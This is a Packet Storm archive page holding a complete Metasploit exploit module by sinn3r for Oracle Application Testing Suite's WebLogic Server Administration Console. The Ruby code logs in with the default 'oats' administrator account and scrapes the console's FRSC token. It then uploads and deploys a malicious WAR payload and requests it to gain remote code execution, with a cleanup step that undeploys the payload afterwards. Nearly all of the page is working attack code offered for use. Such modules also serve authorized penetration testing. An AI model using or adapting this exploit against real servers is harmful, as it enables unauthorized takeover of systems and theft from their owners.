exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Oracle Application Testing Suite WebLogic Server Administration Console War Deployment

Oracle Application Testing Suite WebLogic Server Administration Console War Deployment
Posted May 24, 2019
Authored by mr_me, sinn3r | Site metasploit.com

This Metasploit module abuses a feature in WebLogic Server's Administration Console to install a malicious Java application in order to gain remote code execution. Authentication is required, however by default, Oracle ships with a "oats" account that you could log in with, which grants you administrator access.

tags | exploit, java, remote, code execution
advisories | CVE-2007-2699
SHA-256 | d2ce49b369029d9ba6fa03bf3c938f41ab106d33a06609e2f00de1eb12b975c8

Oracle Application Testing Suite WebLogic Server Administration Console War Deployment

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Report

def initialize(info={})
super(update_info(info,
'Name' => 'Oracle Application Testing Suite WebLogic Server Administration Console War Deployment',
'Description' => %q{
This module abuses a feature in WebLogic Server's Administration Console to install
a malicious Java application in order to gain remote code execution. Authentication
is required, however by default, Oracle ships with a "oats" account that you could
log in with, which grants you administrator access.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Steven Seeley', # Used the trick and told me about it
'sinn3r' # Metasploit module
],
'Platform' => 'java',
'Arch' => ARCH_JAVA,
'Targets' =>
[
[ 'WebLogic Server Administration Console 12 or prior', { } ]
],
'References' =>
[
# The CVE description matches what this exploit is doing, but it was for version
# 9.0 and 9.1. We are not super sure whether this is the right CVE or not.
# ['CVE', '2007-2699']
],
'DefaultOptions' =>
{
'RPORT' => 8088
},
'Notes' =>
{
'SideEffects' => [ IOC_IN_LOGS ],
'Reliability' => [ REPEATABLE_SESSION ],
'Stability' => [ CRASH_SAFE ]
},
'Privileged' => false,
'DisclosureDate' => 'Mar 13 2019',
'DefaultTarget' => 0))

register_options(
[
OptString.new('TARGETURI', [true, 'The route for the Rails application', '/']),
OptString.new('OATSUSERNAME', [true, 'The username for the admin console', 'oats']),
OptString.new('OATSPASSWORD', [true, 'The password for the admin console'])
])

register_advanced_options(
[
OptString.new('DefaultOatsPath', [true, 'The default path for OracleATS', 'C:\\OracleATS'])
])
end

class LoginSpec
attr_accessor :admin_console_session
end

def login_spec
@login_spec ||= LoginSpec.new
end

class OatsWarPayload < MetasploitModule
attr_reader :name
attr_reader :war

def initialize(payload)
@name = [Faker::App.name, Rex::Text.rand_name].sample
@war = payload.encoded_war(app_name: name).to_s
end
end

def default_oats_path
datastore['DefaultOatsPath']
end

def war_payload
@war_payload ||= OatsWarPayload.new(payload)
end

def set_frsc
value = get_deploy_frsc
@frsc = value
end

def check
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'console', 'login', 'LoginForm.jsp')
})

if res && res.body.include?('Oracle WebLogic Server Administration Console')
return Exploit::CheckCode::Detected
end

Exploit::CheckCode::Safe
end

def set_admin_console_session(res)
cookie = res.get_cookies
admin_console_session = cookie.scan(/ADMINCONSOLESESSION=(.+);/).flatten.first
vprint_status("Token for console session is: #{admin_console_session}")
login_spec.admin_console_session = admin_console_session
end

def is_logged_in?(res)
html = res.get_html_document
a_element = html.at('a')
if a_element.respond_to?(:attributes) && a_element.attributes['href']
link = a_element.attributes['href'].value
return URI(link).request_uri == '/console'
end

false
end

def do_login
uri = normalize_uri(target_uri.path, 'console', 'login', 'LoginForm.jsp')
res = send_request_cgi({
'method' => 'GET',
'uri' => uri
})

fail_with(Failure::Unknown, 'No response from server') unless res
set_admin_console_session(res)

uri = normalize_uri(target_uri.path, 'console', 'j_security_check')
res = send_request_cgi({
'method' => 'POST',
'uri' => uri,
'cookie' => "ADMINCONSOLESESSION=#{login_spec.admin_console_session}",
'vars_post' =>
{
'j_username' => datastore['OATSUSERNAME'],
'j_password' => datastore['OATSPASSWORD'],
'j_character_encoding' => 'UTF-8'
}
})

fail_with(Failure::Unknown, 'No response while trying to log in') unless res
fail_with(Failure::NoAccess, 'Failed to login') unless is_logged_in?(res)
store_valid_credential(user: datastore['OATSUSERNAME'], private: datastore['OATSPASSWORD'])
set_admin_console_session(res)
end

def get_deploy_frsc
# First we are just going through the pages in a specific order to get the FRSC value
# we need to prepare uploading the WAR file.
res = nil
requests =
[
{ path: 'console/', vars: {} },
{ path: 'console/console.portal', vars: {'_nfpb'=>"true"} },
{ path: 'console/console.portal', vars: {'_nfpb'=>"true", '_pageLabel' => 'HomePage1'} }
]

requests.each do |req|
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, req[:path]),
'cookie' => "ADMINCONSOLESESSION=#{login_spec.admin_console_session}",
'vars_get' => req[:vars]
})

fail_with(Failure::Unknown, 'No response while retrieving FRSC') unless res
end

html = res.get_html_document
hidden_input = html.at('input[@name="ChangeManagerPortletfrsc"]')
frsc_attr = hidden_input.respond_to?(:attributes) ? hidden_input.attributes['value'] : nil
frsc_attr ? frsc_attr.value : ''
end

def do_select_upload_action
action = '/com/bea/console/actions/app/install/selectUploadApp'
app_path = Rex::FileUtils.normalize_win_path(default_oats_path, 'oats\\servers\\AdminServer\\upload')
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'console', 'console.portal'),
'cookie' => "ADMINCONSOLESESSION=#{login_spec.admin_console_session}",
'vars_get' =>
{
'AppApplicationInstallPortlet_actionOverride' => action
},
'vars_post' =>
{
'AppApplicationInstallPortletselectedAppPath' => app_path,
'AppApplicationInstallPortletfrsc' => frsc
}
})

fail_with(Failure::Unknown, "No response from #{action}") unless res
end

def do_upload_app_action
action = '/com/bea/console/actions/app/install/uploadApp'
ctype = 'application/octet-stream'
app_cname = 'AppApplicationInstallPortletuploadAppPath'
plan_cname = 'AppApplicationInstallPortletuploadPlanPath'
frsc_cname = 'AppApplicationInstallPortletfrsc'
war = war_payload.war
war_name = war_payload.name
post_data = Rex::MIME::Message.new
post_data.add_part(war, ctype, 'binary', "form-data; name=\"#{app_cname}\"; filename=\"#{war_name}.war\"")
post_data.add_part('', ctype, nil, "form-data; name=\"#{plan_cname}\"; filename=\"\"")
post_data.add_part(frsc, nil, nil, "form-data; name=\"#{frsc_cname}\"")

res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'console', 'console.portal'),
'cookie' => "ADMINCONSOLESESSION=#{login_spec.admin_console_session}",
'vars_get' =>
{
'AppApplicationInstallPortlet_actionOverride' => action
},
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
'data' => post_data.to_s
})

fail_with(Failure::Unknown, "No response from #{action}") unless res
print_response_message(res)
end

def do_app_select_action
action = '/com/bea/console/actions/app/install/appSelected'
war_name = war_payload.name
app_path = Rex::FileUtils.normalize_win_path(default_oats_path, "oats\\servers\\AdminServer\\upload\\#{war_name}.war")

res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'console', 'console.portal'),
'cookie' => "ADMINCONSOLESESSION=#{login_spec.admin_console_session}",
'vars_get' =>
{
'AppApplicationInstallPortlet_actionOverride' => action
},
'vars_post' =>
{
'AppApplicationInstallPortletselectedAppPath' => app_path,
'AppApplicationInstallPortletfrsc' => frsc
}
})

fail_with(Failure::Unknown, "No response from #{action}") unless res
print_response_message(res)
end

def do_style_select_action
action = '/com/bea/console/actions/app/install/targetStyleSelected'

res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'console', 'console.portal'),
'cookie' => "ADMINCONSOLESESSION=#{login_spec.admin_console_session}",
'vars_get' =>
{
'AppApplicationInstallPortlet_actionOverride' => action
},
'vars_post' =>
{
'AppApplicationInstallPortlettargetStyle' => 'Application',
'AppApplicationInstallPortletfrsc' => frsc
}
})

fail_with(Failure::Unknown, "No response from #{action}") unless res
end

def do_finish_action
action = '/com/bea/console/actions/app/install/finish'

res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'console', 'console.portal'),
'cookie' => "ADMINCONSOLESESSION=#{login_spec.admin_console_session}",
'vars_get' =>
{
'AppApplicationInstallPortlet_actionOverride' => action
},
'vars_post' =>
{
'AppApplicationInstallPortletname' => war_payload.name,
'AppApplicationInstallPortletsecurityModel' => 'DDOnly',
'AppApplicationInstallPortletstagingStyle' => 'Default',
'AppApplicationInstallPortletplanStagingStyle' => 'Default',
'AppApplicationInstallPortletfrsc' => frsc
}
})

fail_with(Failure::Unknown, "No response from #{action}") unless res
print_response_message(res)

# 302 is a good enough indicator of a successful upload, otherwise
# the server would actually return a 200 with an error message.
res.code == 302
end

def print_response_message(res)
html = res.get_html_document
message_div = html.at('div[@class="message"]')
if message_div
msg = message_div.at('span').text
print_status("Server replies: #{msg.inspect}")
end
end

def deploy_war
set_frsc
print_status("FRSC value: #{frsc}")
do_select_upload_action
do_upload_app_action
do_app_select_action
do_style_select_action
do_finish_action
end

def goto_war(name)
print_good("Operation \"#{name}\" is a go!")
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, name)
})

print_status("Code #{res.code} on \"#{name}\" request") if res
end

def undeploy_war
war_name = war_payload.name
handle = 'com.bea.console.handles.JMXHandle("com.bea:Name=oats,Type=Domain")'
contents = %Q|com.bea.console.handles.AppDeploymentHandle("com.bea:Name=#{war_name},Type=AppDeployment")|
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'console', 'console.portal'),
'cookie' => "ADMINCONSOLESESSION=#{login_spec.admin_console_session}",
'vars_get' =>
{
'AppApplicationUninstallPortletreturnTo' => 'AppDeploymentsControlPage',
'AppDeploymentsControlPortlethandle' => handle
},
'vars_post' =>
{
# For some reason, the value given to the server is escapped twice.
# The Metasploit API should do it at least once.
'AppApplicationUninstallPortletchosenContents' => CGI.escape(contents),
'_pageLabel' => 'AppApplicationUninstallPage',
'_nfpb' => 'true',
'AppApplicationUninstallPortletfrsc' => frsc
}
})

if res && res.code == 302
print_good("Successfully undeployed #{war_name}.war")
else
print_warning("Unable to successfully undeploy #{war_name}.war")
print_warning('You may want to do so manually.')
end
end

def cleanup
undeploy_war if is_cleanup_ready
super
end

def setup
@is_cleanup_ready = false
super
end

def exploit
unless check == Exploit::CheckCode::Detected
print_status('Target does not have the login page we are looking for.')
return
end

do_login
print_good("Logged in as #{datastore['OATSUSERNAME']}:#{datastore['OATSPASSWORD']}")
print_status("Ready for war. Codename \"#{war_payload.name}\" at #{war_payload.war.length} bytes")
result = deploy_war
if result
@is_cleanup_ready = true
goto_war(war_payload.name)
end
end

attr_reader :frsc
attr_reader :is_cleanup_ready
end
Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close